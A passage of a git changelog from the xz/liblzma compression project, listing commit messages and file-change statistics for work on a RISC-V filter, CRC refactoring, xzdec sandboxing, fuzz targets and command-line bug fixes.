5.6.0 will be shown, even though upcoming alphas and betas + will be able to support this filter. 5.6.0 looks nicer in the output and + people shouldn't be encouraged to use an unstable version in production + in any way. + + src/xz/list.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +commit e2870db5be1503e6a489fc3d47daf950d6f62723 +Author: Jia Tan +Date: 2024-01-22 23:33:39 +0800 + + Tests: Add two RISC-V Filter test files. + + These test files achieve 100% code coverage in + src/liblzma/simple/riscv.c. They contain all of the instructions that + should be filtered and a few cases that should not. + + tests/files/README | 8 ++++++++ + tests/files/good-1-riscv-lzma2-1.xz | Bin 0 -> 7512 bytes + tests/files/good-1-riscv-lzma2-2.xz | Bin 0 -> 7516 bytes + 3 files changed, 8 insertions(+) + +commit b26a89869315ece2f6d9d10d32d45f672550f245 +Author: Jia Tan +Date: 2024-01-22 23:33:39 +0800 + + xz: Update message in --long-help for RISC-V Filter. + + src/xz/message.c | 1 + + 1 file changed, 1 insertion(+) + +commit 283f778908873eca61388029fc418fa800c9d7d7 +Author: Jia Tan +Date: 2024-01-22 23:33:39 +0800 + + xz: Update the man page for the RISC-V Filter. + + A special note was added to suggest using four-byte alignment when the + compressed instruction extension is not present in a RISC-V binary. + + src/xz/xz.1 | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit ac3691ccca051d67f60b4a3b05b88e511d0b1b28 +Author: Jia Tan +Date: 2024-01-22 23:33:39 +0800 + + Tests: Add RISC-V Filter test in test_compress.sh. + + tests/test_compress.sh | 1 + + 1 file changed, 1 insertion(+) + +commit 2959dbc7358efcf421ce51bc9cd7eae8fdd8fec4 +Author: Jia Tan +Date: 2024-01-22 23:33:39 +0800 + + liblzma: Update string_conversion.c to support RISC-V Filter. + + src/liblzma/common/string_conversion.c | 5 +++++ + 1 file changed, 5 insertions(+) + +commit 34372a5adbe5a7f6bf29498410ba3a463a720966 +Author: Jia Tan +Date: 2024-01-22 23:33:39 +0800 + + CMake: Support RISC-V BCJ Filter for encoding and decoding. + + CMakeLists.txt | 1 + + 1 file changed, 1 insertion(+) + +commit 440a2eccb082dc13400c09e22308a58fef85146c +Author: Jia Tan +Date: 2024-01-22 23:33:39 +0800 + + liblzma: Add RISC-V BCJ filter. + + The new Filter ID is 0x0B. + + Thanks to Chien Wong for the initial version of the Filter, + the xz CLI updates, and the Autotools build system modifications. + + Thanks to Igor Pavlov for his many contributions to the design of + the filter. + + configure.ac | 4 +- + src/liblzma/api/lzma/bcj.h | 5 + + src/liblzma/common/filter_common.c | 9 + + src/liblzma/common/filter_decoder.c | 8 + + src/liblzma/common/filter_encoder.c | 10 + + src/liblzma/simple/Makefile.inc | 4 + + src/liblzma/simple/riscv.c | 688 ++++++++++++++++++++++++++++++++++++ + src/liblzma/simple/simple_coder.h | 9 + + src/xz/args.c | 7 + + 9 files changed, 742 insertions(+), 2 deletions(-) + +commit 5540f4329bbdb4deb4850d4af48b18ad074bba19 +Author: Jia Tan +Date: 2024-01-19 23:08:14 +0800 + + Docs: Update .xz file format specification to 1.2.0. + + The new RISC-V filter was added to the specification, in addition to + updating the specification URL. + + doc/xz-file-format.txt | 29 +++++++++++++++++------------ + 1 file changed, 17 insertions(+), 12 deletions(-) + +commit 22d86192f8cf00902a1f90ee2a83ca600794459b +Author: Jia Tan +Date: 2024-01-19 23:08:14 +0800 + + xz: Update website URLs in the man pages. + + src/xz/xz.1 | 6 +++--- + src/xzdec/xzdec.1 | 4 ++-- + 2 files changed, 5 insertions(+), 5 deletions(-) + +commit 6b63c4c6139fa1bb21b570521d3d2b4a608bc34d +Author: Jia Tan +Date: 2024-01-19 23:08:14 +0800 + + liblzma: Update website URL. + + dos/config.h | 2 +- + src/liblzma/api/lzma.h | 6 +++--- + 2 files changed, 4 insertions(+), 4 deletions(-) + +commit fce4758018f3a3589236f3fe7999fd9dd08c77e9 +Author: Jia Tan +Date: 2024-01-19 23:08:14 +0800 + + Docs: Update website URLs. + + .github/SECURITY.md | 2 +- + COPYING | 3 ++- + README | 4 ++-- + doc/faq.txt | 2 +- + doc/lzma-file-format.txt | 18 +++++++++--------- + windows/README-Windows.txt | 3 ++- + 6 files changed, 17 insertions(+), 15 deletions(-) + +commit c26812c5b2c8a2a47f43214afe6b0b840c73e4f5 +Author: Jia Tan +Date: 2024-01-19 23:08:14 +0800 + + Build: Update website URL. + + CMakeLists.txt | 2 +- + configure.ac | 2 +- + 2 files changed, 2 insertions(+), 2 deletions(-) + +commit fbb3ce541ef79cad1710e88a27a5babb5f6f8e5b +Author: Lasse Collin +Date: 2024-01-11 15:01:50 +0200 + + liblzma: CRC: Add a comment to crc_x86_clmul.h about BUILDING_ macros. + + src/liblzma/check/crc_x86_clmul.h | 6 ++++++ + 1 file changed, 6 insertions(+) + +commit 4f518c1b6b7b7ce5dcefea81acd44d7a086a8882 +Author: Lasse Collin +Date: 2024-01-11 15:22:36 +0200 + + liblzma: CRC: Remove crc_always_inline, use lzma_always_inline instead. + + Now crc_simd_body() in crc_x86_clmul.h is only called once + in a translation unit, we no longer need to be so cautious + about ensuring the always-inline behavior. + + src/liblzma/check/crc_common.h | 20 -------------------- + src/liblzma/check/crc_x86_clmul.h | 2 +- + 2 files changed, 1 insertion(+), 21 deletions(-) + +commit 35c03ec6bf66f1b159964c9721a2dce0e2859b20 +Author: Lasse Collin +Date: 2024-01-11 14:39:46 +0200 + + liblzma: CRC: Update CLMUL comments to more generic wording. + + src/liblzma/check/crc32_fast.c | 16 ++++++++-------- + src/liblzma/check/crc64_fast.c | 10 +++++----- + 2 files changed, 13 insertions(+), 13 deletions(-) + +commit 66f080e8016129576536482ac377e2ecac7a2b90 +Author: Lasse Collin +Date: 2024-01-10 18:23:31 +0200 + + liblzma: Rename arch-specific CRC functions and macros. + + CRC_CLMUL was split to CRC_ARCH_OPTIMIZED and CRC_X86_CLMUL. + CRC_ARCH_OPTIMIZED is defined when an arch-optimized version is used. + Currently the x86 CLMUL implementations are the only arch-optimized + versions, and these also use the CRC_x86_CLMUL macro to tell when + crc_x86_clmul.h needs to be included. + + is_clmul_supported() was renamed to is_arch_extension_supported(). + crc32_clmul() and crc64_clmul() were renamed to + crc32_arch_optimized() and crc64_arch_optimized(). + This way the names make sense with arch-specific non-CLMUL + implementations as well. + + src/liblzma/check/crc32_fast.c | 13 +++++++------ + src/liblzma/check/crc64_fast.c | 13 +++++++------ + src/liblzma/check/crc_common.h | 9 ++++++--- + src/liblzma/check/crc_x86_clmul.h | 21 +++++++++++---------- + 4 files changed, 31 insertions(+), 25 deletions(-) + +commit 3dbed75b0b9c7087c76fe687acb5cf582cd57b99 +Author: Lasse Collin +Date: 2024-01-10 18:19:21 +0200 + + liblzma: Fix a comment in crc_common.h. + + src/liblzma/check/crc_common.h | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 419f55f9dfc2df8792902b8953d50690121afeea +Author: Lasse Collin +Date: 2023-10-20 23:35:10 +0300 + + liblzma: Avoid extern lzma_crc32_clmul() and lzma_crc64_clmul(). + + A CLMUL-only build will have the crcxx_clmul() inlined into + lzma_crcxx(). Previously a jump to the extern lzma_crcxx_clmul() + was needed. Notes about shared liblzma on ELF platforms: + + - On platforms that support ifunc and -fvisibility=hidden, this + was silly because CLMUL-only build would have that single extra + jump instruction of extra overhead. + + - On platforms that support neither -fvisibility=hidden nor linker + version script (liblzma*.map), jumping to lzma_crcxx_clmul() + would go via PLT so a few more instructions of overhead (still + not a big issue but silly nevertheless). + + There was a downside with static liblzma too: if an application only + needs lzma_crc64(), static linking would make the linker include the + CLMUL code for both CRC32 and CRC64 from crc_x86_clmul.o even though + the CRC32 code wouldn't be needed, thus increasing code size of the + executable (assuming that -ffunction-sections isn't used). + + Also, now compilers are likely to inline crc_simd_body() + even if they don't support the always_inline attribute + (or MSVC's __forceinline). Quite possibly all compilers + that build the code do support such an attribute. But now + it likely isn't a problem even if the attribute wasn't supported. + + Now all x86-specific stuff is in crc_x86_clmul.h. If other archs + The other archs can then have their own headers with their own + is_clmul_supported() and crcxx_clmul(). + + Another bonus is that the build system doesn't need to care if + crc_clmul.c is needed. + + is_clmul_supported() stays as inline function as it's not needed + when doing a CLMUL-only build (avoids a warning about unused function). + + CMakeLists.txt | 7 +- + configure.ac | 1 - + src/liblzma/check/Makefile.inc | 6 +- + src/liblzma/check/crc32_fast.c | 9 ++- + src/liblzma/check/crc64_fast.c | 9 ++- + src/liblzma/check/crc_common.h | 64 ---------------- + src/liblzma/check/{crc_clmul.c => crc_x86_clmul.h} | 86 ++++++++++++++++++---- + 7 files changed, 91 insertions(+), 91 deletions(-) + +commit e3833e297dfb5021a197bda34ba2a795e30aaf8a +Author: Lasse Collin +Date: 2023-10-21 00:06:52 +0300 + + liblzma: crc_clmul.c: Add crc_attr_target macro. + + This reduces the number of the complex #if directives. + + src/liblzma/check/crc_clmul.c | 30 ++++++++++++++++-------------- + 1 file changed, 16 insertions(+), 14 deletions(-) + +commit d164ac0e62904126f7920c25f9a2875c8cd28b97 +Author: Lasse Collin +Date: 2023-10-20 22:49:48 +0300 + + liblzma: Simplify existing cases with lzma_attr_no_sanitize_address. + + src/liblzma/check/crc_clmul.c | 12 +++--------- + 1 file changed, 3 insertions(+), 9 deletions(-) + +commit 9523c1300d22fa715765c181cf991d14d6112fb1 +Author: Lasse Collin +Date: 2023-10-20 21:53:35 +0300 + + liblzma: #define crc_attr_no_sanitize_address in crc_common.h. + + src/liblzma/check/crc_common.h | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +commit 93d144f0930821590524247bd174afd38003d7f0 +Author: Lasse Collin +Date: 2023-10-20 23:25:14 +0300 + + liblzma: CRC: Add empty lines. + + And remove one too. + + src/liblzma/check/crc32_fast.c | 2 ++ + src/liblzma/check/crc64_fast.c | 3 +++ + src/liblzma/check/crc_clmul.c | 1 - + 3 files changed, 5 insertions(+), 1 deletion(-) + +commit 0c7e854ffd27f1cec2e9b0e61601d6f90bfa10ae +Author: Lasse Collin +Date: 2023-10-20 23:19:33 +0300 + + liblzma: crc_clmul.c: Tidy up the location of MSVC pragma. + + It makes no difference in practice. + + src/liblzma/check/crc_clmul.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 15cf3f04f270d707a5c91cc0208b23b6db42b774 +Author: Lasse Collin +Date: 2023-12-20 21:16:24 +0200 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit cd64dd70d5665b6048829c45772d08606f44672e +Author: Lasse Collin +Date: 2023-12-20 21:15:16 +0200 + + liblzma: Use 8-byte method in memcmplen.h on ARM64. + + It requires fast unaligned access to 64-bit integers + and a fast instruction to count leading zeros in + a 64-bit integer (__builtin_ctzll()). This perhaps + should be enabled on some other archs too. + + Thanks to Chenxi Mao for the original patch: + https://github.com/tukaani-project/xz/pull/75 (the first commit) + According to the numbers there, this may improve encoding + speed by about 3-5 %. + + This enables the 8-byte method on MSVC ARM64 too which + should work but wasn't tested. + + src/liblzma/common/memcmplen.h | 18 ++++++++++-------- + 1 file changed, 10 insertions(+), 8 deletions(-) + +commit 12c90c00f05e19da3c0c91d8cd8e0d0d45965606 +Author: Lasse Collin +Date: 2023-12-20 21:01:06 +0200 + + liblzma: Check also for __clang__ in memcmplen.h. + + This change hopefully makes no practical difference as Clang + likely was detected via __GNUC__ or _MSC_VER already. + + src/liblzma/common/memcmplen.h | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 133c5851eb917c6d99d0b623c1689c8518e65f38 +Author: Jia Tan +Date: 2023-12-21 21:39:08 +0800 + + Translations: Update the French translation. + + po/fr.po | 632 +++++++++++++++++++++++++++++++++++++-------------------------- + 1 file changed, 370 insertions(+), 262 deletions(-) + +commit 710cbc186cad0ac601c38bd6bf31167648a5581e +Author: Jia Tan +Date: 2023-12-21 16:39:53 +0800 + + xz: Add a comment to Capsicum sandbox setup. + + This comment is repeated in xzdec.c to help remind us why all the + capabilities are removed from stdin in certain situations. + + src/xz/file_io.c | 1 + + 1 file changed, 1 insertion(+) + +commit 4e1c695676bafbaecc9fb307f6ee94138ae72c12 +Author: Jia Tan +Date: 2023-12-20 22:19:19 +0800 + + Docs: Update --enable-sandbox option in INSTALL. + + xzdec now also uses the sandbox when its configured. + + INSTALL | 17 ++++++++++------- + 1 file changed, 10 insertions(+), 7 deletions(-) + +commit ebddf20214143a8e002ab897e95e880bb4c5ac44 +Author: Jia Tan +Date: 2023-12-20 22:39:13 +0800 + + CMake: Move sandbox detection outside of xz section. + + The sandbox is now enabled for xzdec as well, so it no longer belongs + in just the xz section. xz and xzdec are always built, except for older + MSVC versions, so there isn't a need to conditionally show the sandbox + configuration. CMake will do a little unecessary work on older MSVC + versions that can't build xz or xzdec, but this is a very small + downside. + + CMakeLists.txt | 178 +++++++++++++++++++++++++++++++-------------------------- + 1 file changed, 98 insertions(+), 80 deletions(-) + +commit 5feb09266fd2928ec0a4dcb98c1dc7f053111316 +Author: Jia Tan +Date: 2023-12-20 22:43:44 +0800 + + Build: Allow sandbox to be configured for just xzdec. + + If xz is disabled, then xzdec can still use the sandbox. + + configure.ac | 10 +++++----- + 1 file changed, 5 insertions(+), 5 deletions(-) + +commit d74fb5f060b76db709b50f5fd37490394e52f975 +Author: Jia Tan +Date: 2023-12-19 21:18:28 +0800 + + xzdec: Add sandbox support for Pledge, Capsicum, and Landlock. + + A very strict sandbox is used when the last file is decompressed. The + likely most common use case of xzdec is to decompress a single file. + The Pledge sandbox is applied to the entire process with slightly more + relaxed promises, until the last file is processed. + + Thanks to Christian Weisgerber for the initial patch adding Pledge + sandboxing. + + src/xzdec/xzdec.c | 146 +++++++++++++++++++++++++++++++++++++++++++++++++++--- + 1 file changed, 139 insertions(+), 7 deletions(-) + +commit b34b6a9912d6165e34ba0db151b7f9941d2e06d5 +Author: Jia Tan +Date: 2023-12-20 21:31:34 +0800 + + liblzma: Initialize lzma_lz_encoder pointers with NULL. + + This fixes the recent change to lzma_lz_encoder that used memzero + instead of the NULL constant. On some compilers the NULL constant + (always 0) may not equal the NULL pointer (this only needs to guarentee + to not point to valid memory address). + + Later code compares the pointers to the NULL pointer so we must + initialize them with the NULL pointer instead of 0 to guarentee + code correctness. + + src/liblzma/lz/lz_encoder.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +commit 183a62f0b540ff4d23cc19b2b6bc2525f0bd64df +Author: Jia Tan +Date: 2023-12-16 20:51:38 +0800 + + liblzma: Set all values in lzma_lz_encoder to NULL after allocation. + + The first member of lzma_lz_encoder doesn't necessarily need to be set + to NULL since it will always be set before anything tries to use it. + However the function pointer members must be set to NULL since other + functions rely on this NULL value to determine if this behavior is + supported or not. + + This fixes a somewhat serious bug, where the options_update() and + set_out_limit() function pointers are not set to NULL. This seems to + have been forgotten since these function pointers were added many years + after the original two (code() and end()). + + The problem is that by not setting this to NULL we are relying on the + memory allocation to zero things out if lzma_filters_update() is called + on a LZMA1 encoder. The function pointer for set_out_limit() is less + serious because there is not an API function that could call this in an + incorrect way. set_out_limit() is only called by the MicroLZMA encoder, + which must use LZMA1 where set_out_limit() is always set. Its currently + not possible to call set_out_limit() on an LZMA2 encoder at this time. + + So calling lzma_filters_update() on an LZMA1 encoder had undefined + behavior since its possible that memory could be manipulated so the + options_update member pointed to a different instruction sequence. + + This is unlikely to be a bug in an existing application since it relies + on calling lzma_filters_update() on an LZMA1 encoder in the first place. + For instance, it does not affect xz because lzma_filters_update() can + only be used when encoding to the .xz format. + + This is fixed by using memzero() to set all members of lzma_lz_encoder + to NULL after it is allocated. This ensures this mistake will not occur + here in the future if any additional function pointers are added. + + src/liblzma/lz/lz_encoder.c | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +commit 1a1bb381db7a20cf86cb45a350e5cca35224d017 +Author: Jia Tan +Date: 2023-12-16 20:30:55 +0800 + + liblzma: Tweak a comment. + + src/liblzma/lz/lz_encoder.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 55810780e04f759747b02683fb8020b8cd022a85 +Author: Jia Tan +Date: 2023-12-16 20:28:21 +0800 + + liblzma: Make parameter names in function definition match declaration. + + lzma_raw_encoder() and lzma_raw_encoder_init() used "options" as the + parameter name instead of "filters" (used by the declaration). "filters" + is more clear since the parameter represents the list of filters passed + to the raw encoder, each of which contains filter options. + + src/liblzma/common/filter_encoder.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +commit 5dad6f628af742bab826819760deb677597445f7 +Author: Jia Tan +Date: 2023-12-16 20:18:47 +0800 + + liblzma: Improve lzma encoder init function consistency. + + lzma_encoder_init() did not check for NULL options, but + lzma2_encoder_init() did. This is more of a code style improvement than + anything else to help make lzma_encoder_init() and lzma2_encoder_init() + more similar. + + src/liblzma/lzma/lzma_encoder.c | 3 +++ + 1 file changed, 3 insertions(+) + +commit e1b1a9d6370b788bd6078952c6c201e12bc27cbf +Author: Jia Tan +Date: 2023-12-16 11:20:20 +0800 + + Docs: Update repository URL in Changelog. + + ChangeLog | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit f9b82bc64a9405e486575c65c1729229eb0a8198 +Author: Jia Tan +Date: 2023-12-15 16:56:31 +0800 + + CI: Update Upload Artifact Action. + + .github/workflows/ci.yml | 2 +- + .github/workflows/windows-ci.yml | 2 +- + 2 files changed, 2 insertions(+), 2 deletions(-) + +commit d0b24efe6cdc47db5b0fdf6306f70a2e0e63e49e +Author: Jia Tan +Date: 2023-12-07 21:48:07 +0800 + + Tests: Silence -Wsign-conversion warning on GCC version < 10. + + Since GCC version 10, GCC no longer complains about simple implicit + integer conversions with Arithmetic operators. + + For instance: + + uint8_t a = 5; + uint32_t b = a + 5; + + Give a warning on GCC 9 and earlier but this: + + uint8_t a = 5; + uint32_t b = (a + 5) * 2; + + Gives a warning with GCC 10+. + + tests/test_block_header.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 4a972a8ee3ed88ac14067c1d2f15b78988e5dae8 +Author: Jia Tan +Date: 2023-12-06 18:39:03 +0800 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit ee2f48350099201694a7586e41d7aa2f09fc74da +Author: Jia Tan +Date: 2023-12-06 18:30:25 +0800 + + Tests: Minor cleanups to OSS-Fuzz files. + + Most of these fixes are small typos and tweaks. A few were caused by bad + advice from me. Here is the summary of what is changed: + + - Author line edits + + - Small comment changes/additions + + - Using the return value in the error messages in the fuzz targets' + coder initialization code + + - Removed fuzz_encode_stream.options. This set a max length, which may + prevent some worthwhile code paths from being properly exercised. + + - Removed the max_len option from fuzz_decode_stream.options for the + same reason as fuzz_encode_stream. The alone decoder fuzz target still + has this restriction. + + - Altered the dictionary contents for fuzz_lzma.dict. Instead of keeping + the properties static and varying the dictionary size, the properties + are varied and the dictionary size is kept small. The dictionary size + doesn't have much impact on the code paths but the properties do. + + Closes: https://github.com/tukaani-project/xz/pull/73 + + tests/ossfuzz/Makefile | 3 ++ + tests/ossfuzz/config/fuzz_decode_stream.options | 1 - + tests/ossfuzz/config/fuzz_lzma.dict | 34 +++++++++++----------- + tests/ossfuzz/fuzz_common.h | 16 +++++------ + tests/ossfuzz/fuzz_decode_alone.c | 15 +++++----- + tests/ossfuzz/fuzz_decode_stream.c | 15 +++++----- + tests/ossfuzz/fuzz_encode_stream.c | 38 +++++++++++++++---------- + 7 files changed, 66 insertions(+), 56 deletions(-) + +commit 483bb90eec7c83e1c2bcd06287714afd62d8c17d +Author: Maksym Vatsyk +Date: 2023-12-05 16:31:09 +0100 + + Tests: Add fuzz_encode_stream ossfuzz target. + + This fuzz target handles .xz stream encoding. The first byte of input + is used to dynamically set the preset level in order to increase the + fuzz coverage of complex critical code paths. + + tests/ossfuzz/config/fuzz_encode_stream.options | 2 + + tests/ossfuzz/fuzz_encode_stream.c | 79 +++++++++++++++++++++++++ + 2 files changed, 81 insertions(+) + +commit 7ca8c9869df82756c3128c4fcf1058da4d18aa48 +Author: Maksym Vatsyk +Date: 2023-12-04 17:23:24 +0100 + + Tests: Add fuzz_decode_alone OSS-Fuzz target + + This fuzz target that handles LZMA alone decoding. A new fuzz + dictionary .dict was also created with common LZMA header values to + help speed up the discovery of valid headers. + + tests/ossfuzz/config/fuzz_decode_alone.options | 3 ++ + tests/ossfuzz/config/fuzz_lzma.dict | 22 ++++++++++++++ + tests/ossfuzz/fuzz_decode_alone.c | 41 ++++++++++++++++++++++++++ + 3 files changed, 66 insertions(+) + +commit 37581a77ad5a49615325b1d1925fdc402b1e1d5a +Author: Maksym Vatsyk +Date: 2023-12-04 17:21:29 +0100 + + Tests: Update OSS-Fuzz Makefile. + + All .c files can be built as separate fuzz targets. This simplifies + the Makefile by allowing us to use wildcards instead of having a + Makefile target for each fuzz target. + + tests/ossfuzz/Makefile | 13 +++++++++---- + 1 file changed, 9 insertions(+), 4 deletions(-) + +commit 28ce6a1c2a74866c51f7996a6869679c236d3c94 +Author: Maksym Vatsyk +Date: 2023-12-04 17:20:08 +0100 + + Tests: Move common OSS-Fuzz target code to .h file. + + tests/ossfuzz/fuzz_common.h | 56 ++++++++++++++++++++++++++++++++++++ + tests/ossfuzz/fuzz_decode_stream.c | 59 ++++++++++---------------------------- + 2 files changed, 71 insertions(+), 44 deletions(-) + +commit bf0521ea1591c25b9d510c1b8be86073e9d847c6 +Author: Maksym Vatsyk +Date: 2023-12-04 17:18:20 +0100 + + Tests: Rename OSS-Fuzz files. + + tests/ossfuzz/config/fuzz.options | 2 -- + tests/ossfuzz/config/fuzz_decode_stream.options | 3 +++ + tests/ossfuzz/config/{fuzz.dict => fuzz_xz.dict} | 0 + tests/ossfuzz/{fuzz.c => fuzz_decode_stream.c} | 0 + 4 files changed, 3 insertions(+), 2 deletions(-) + +commit 685094b8e1c1aa1bf934de0366ca42ef599d25f7 +Author: Jia Tan +Date: 2023-11-30 23:10:43 +0800 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 3b3023e00b0071e10f589bbc3674e0ec432b8add +Author: Kian-Meng Ang +Date: 2023-11-30 23:01:19 +0800 + + Tests: Fix typos + + tests/test_index.c | 2 +- + tests/test_lzip_decoder.c | 4 ++-- + 2 files changed, 3 insertions(+), 3 deletions(-) + +commit 424d46ead8cbc0da57f406b76926ec4ed47437f5 +Author: Kian-Meng Ang +Date: 2023-11-30 22:59:47 +0800 + + xz: Fix typo + + src/xz/file_io.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 35558adf9c45e5597f2c8dbd969885dd484038d2 +Author: Jia Tan +Date: 2023-11-30 20:41:00 +0800 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit fd170e8557727bed6bec0518c16415064d972e4e +Author: Jia Tan +Date: 2023-11-22 21:20:12 +0800 + + CI: Test musl libc builds on Ubuntu runner. + + .github/workflows/ci.yml | 19 +++++++++++++++++-- + 1 file changed, 17 insertions(+), 2 deletions(-) + +commit db2b4aa068a492c0013279a4ed43803e8ff9bb3e +Author: Jia Tan +Date: 2023-11-22 21:12:15 +0800 + + CI: Allow ci_build.sh to set a different C compiler. + + build-aux/ci_build.sh | 11 ++++++++++- + 1 file changed, 10 insertions(+), 1 deletion(-) + +commit ff7badef53c2cd698d4b72b945f34dfd0835e13c +Author: Jia Tan +Date: 2023-11-24 21:19:12 +0800 + + CMake: Use consistent indentation with check_c_source_compiles(). + + CMakeLists.txt | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit d4af167570f2c14b002ee18a39d5b1e7e5a892b1 +Author: Jia Tan +Date: 2023-11-22 20:33:36 +0800 + + CMake: Change __attribute__((__ifunc__())) detection. + + This renames ALLOW_ATTR_IFUNC to USE_ATTR_IFUNC and applies the ifunc + detection changes that were made to the Autotools build. + + Fixes: https://github.com/tukaani-project/xz/issues/70 + + CMakeLists.txt | 53 +++++++++++++++++++++++++++++++++++++++++++++-------- + 1 file changed, 45 insertions(+), 8 deletions(-) + +commit 20ecee40a0053fd16371ef0628046bf45e548d72 +Author: Jia Tan +Date: 2023-11-24 20:19:11 +0800 + + Docs: Update INSTALL for --enable_ifunc change. + + INSTALL | 16 ++++++++-------- + 1 file changed, 8 insertions(+), 8 deletions(-) + +commit ffb456593d695d70052a2f71c7a2e6269217d194 +Author: Jia Tan +Date: 2023-11-21 20:56:55 +0800 + + Build: Change --enable-ifunc handling. + + Some compilers support __attribute__((__ifunc__())) even though the + dynamic linker does not. The compiler is able to create the binary + but it will fail on startup. So it is not enough to just test if + the attribute is supported. + + The default value for enable_ifunc is now auto, which will attempt + to compile a program using __attribute__((__ifunc__())). There are + additional checks in this program if glibc is being used or if it + is running on FreeBSD. + + Setting --enable-ifunc will skip this test and always enable + __attribute__((__ifunc__())), even if is not supported. + + configure.ac | 61 +++++++++++++++++++++++++++++++++++++++++++----------------- + 1 file changed, 44 insertions(+), 17 deletions(-) + +commit 12b89bcc9915090eb42ae638e565af44b6832a23 +Author: Lasse Collin +Date: 2023-11-23 17:39:10 +0200 + + xz: Tweak a comment. + + src/xz/util.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 2ab2e4b5a542eab93902985ce4e642719a8b7a4e +Author: Jia Tan +Date: 2023-11-23 22:13:39 +0800 + + xz: Use is_tty() in message.c. + + src/xz/message.c | 7 +------ + 1 file changed, 1 insertion(+), 6 deletions(-) + +commit 584e3a258f32d579b1d07f99b4dc6e856c10ac7e +Author: Jia Tan +Date: 2023-11-23 22:04:35 +0800 + + xz: Create separate is_tty() function. + + The new is_tty() will report if a file descriptor is a terminal or not. + On POSIX systems, it is a wrapper around isatty(). However, the native + Windows implementation of isatty() will return true for all character + devices, not just terminals. So is_tty() has a special case for Windows + so it can use alternative Windows API functions to determine if a file + descriptor is a terminal. + + This fixes a bug with MSVC and MinGW-w64 builds that refused to read from + or write to non-terminal character devices because xz thought it was a + terminal. For instance: + + xz foo -c > /dev/null + + would fail because /dev/null was assumed to be a terminal. + + src/xz/util.c | 30 +++++++++++++++++++++++------- + src/xz/util.h | 14 ++++++++++++++ + 2 files changed, 37 insertions(+), 7 deletions(-) + +commit 6b05f827f50e686537e9a23c49c5aa4c0aa6b23d +Author: Jia Tan +Date: 2023-11-22 20:39:41 +0800 + + tuklib_integer: Fix typo discovered by codespell. + + Based on internet dictionary searches, 'choise' is an outdated spelling + of 'choice'. + + src/common/tuklib_integer.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 659aca0d695807c0762d4101765189e4e33d1e2c +Author: Lasse Collin +Date: 2023-11-17 19:35:19 +0200 + + xz: Move the check for --suffix with --format=raw a few lines earlier. + + Now it reads from argv[] instead of args->arg_names. + + src/xz/args.c | 44 ++++++++++++++++++++++---------------------- + 1 file changed, 22 insertions(+), 22 deletions(-) + +commit ca278eb2b7f5a4940f5ab18955297b398d423824 +Author: Jia Tan +Date: 2023-11-17 20:35:11 +0800 + + Tests: Create test_suffix.sh. + + This tests some complicated interactions with the --suffix= option. + The suffix option must be used with --format=raw, but can optionally + be used to override the default .xz suffix. + + This test also verifies some recent bugs have been correctly solved + and to hopefully avoid further regressions in the future. + + tests/Makefile.am | 2 + + tests/test_suffix.sh | 189 +++++++++++++++++++++++++++++++++++++++++++++++++++ + 2 files changed, 191 insertions(+) + +commit 2a732aba22da1b0d4a1241cb32280ed010ba03ce +Author: Jia Tan +Date: 2023-11-17 20:19:26 +0800 + + xz: Fix a bug with --files and --files0 in raw mode without a suffix. + + The following command caused a segmentation fault: + + xz -Fraw --lzma1 --files=foo + + when foo was a valid file. The usage of --files or --files0 was not + being checked when compressing or decompressing in raw mode without a + suffix. The suffix checking code was meant to validate that all files + to be processed are "-" (if not writing to standard out), meaning the + data is only coming from standard in. In this case, there were no file + names to check since --files and --files0 store their file name in a + different place. + + Later code assumed the suffix was set and caused a segmentation fault. + Now, the above command results in an error. + + src/xz/args.c | 5 +++++ + 1 file changed, 5 insertions(+) + +commit 299920bab9ae258a247366339264e8aefca9e3ce +Author: Jia Tan +Date: 2023-11-17 20:04:58 +0800 + + Tests: Fix typo in a comment. + + tests/test_files.sh | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit f481523baac946fa3bc13d79186ffaf0c0b818a7 +Author: Jia Tan +Date: 2023-11-15 23:40:13 +0800 + + xz: Refactor suffix test with raw format. + + The previous version set opt_stdout, but this caused an issue with + copying an input file to standard out when decompressing an unknown file + type. The following needs to result in an error: + + echo foo | xz -df + + since -c, --stdout is not used. This fixes the previous error by not + setting opt_stdout. + + src/xz/args.c | 38 +++++++++++++------------------------- + 1 file changed, 13 insertions(+), 25 deletions(-) + +commit 837ea40b1c9d4998cac4500b55171bf33e0c31a6 +Author: Jia Tan +Date: 2023-11-14 20:27:46 +0800 + + xz: Move suffix check after stdout mode is detected. + + This fixes a bug introduced in cc5aa9ab138beeecaee5a1e81197591893ee9ca0 + when the suffix check was initially moved. This caused a situation that + previously worked: + + echo foo | xz -Fraw --lzma1 | wc -c + + to fail because the old code knew that this would write to standard out + so a suffix was not needed. + + src/xz/args.c | 16 ++++++++-------- + 1 file changed, 8 insertions(+), 8 deletions(-) + +commit d4f4a4d040ef47a5e82dffd0f067e92716606ddf +Author: Jia Tan +Date: 2023-11-14 20:27:04 +0800 + + xz: Detect when all data will be written to standard out earlier. + + If the -c, --stdout argument is not used, then we can still detect when + the data will be written to standard out if all of the provided + filenames are "-" (denoting standard in) or if no filenames are + provided. + + src/xz/args.c | 21 +++++++++++++++++++++ + 1 file changed, 21 insertions(+) + +commit 2ade7246e7ba729a91460d2fab0f4c7b89d3998b +Author: Jia Tan +Date: 2023-11-09 01:21:53 +0800 + + liblzma: Add missing 